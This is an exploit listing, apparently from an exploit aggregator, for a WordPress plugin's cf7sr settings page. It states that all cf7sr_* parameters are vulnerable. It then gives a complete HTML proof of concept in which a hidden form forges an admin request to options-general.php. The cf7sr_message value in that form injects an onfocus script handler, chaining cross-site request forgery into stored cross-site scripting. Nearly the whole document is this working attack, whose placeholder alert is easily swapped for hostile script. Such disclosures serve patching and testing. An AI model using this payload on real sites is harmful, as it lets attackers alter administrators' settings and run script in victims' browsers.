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## https://sploitus.com/exploit?id=WPEX-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0
All cf7sr_* parameters are vulnerable

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=cf7sr_edit" method="POST">
      <input type="hidden" name="update" value="1" />
      <input type="hidden" name="cf7sr_key" value="1" />
      <input type="hidden" name="cf7sr_secret" value="2" />
      <input type="hidden" name="cf7sr_message" value='" autofocus=autofocus onfocus=alert(1) e=' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>